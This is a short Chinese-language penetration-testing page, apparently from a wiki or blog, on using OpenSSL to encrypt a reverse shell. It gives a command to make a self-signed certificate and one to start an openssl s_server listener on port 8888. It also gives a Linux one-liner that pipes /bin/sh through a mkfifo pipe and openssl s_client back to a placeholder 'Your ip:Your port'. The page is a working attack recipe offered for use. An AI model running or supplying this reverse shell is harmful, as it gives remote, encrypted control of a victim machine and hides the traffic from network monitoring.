使用OpenSsl加密反彈shell_zh-hans

# 使用OpenSsl加密反彈shell/zh-hans

==生成自签名证书==

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

==服务端监听8888端口==

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

==Linux下使用mkfifo进行反弹shell==

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Your ip:Your port> /tmp/s; rm /tmp/s

[[Category:滲透測試資料]]

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容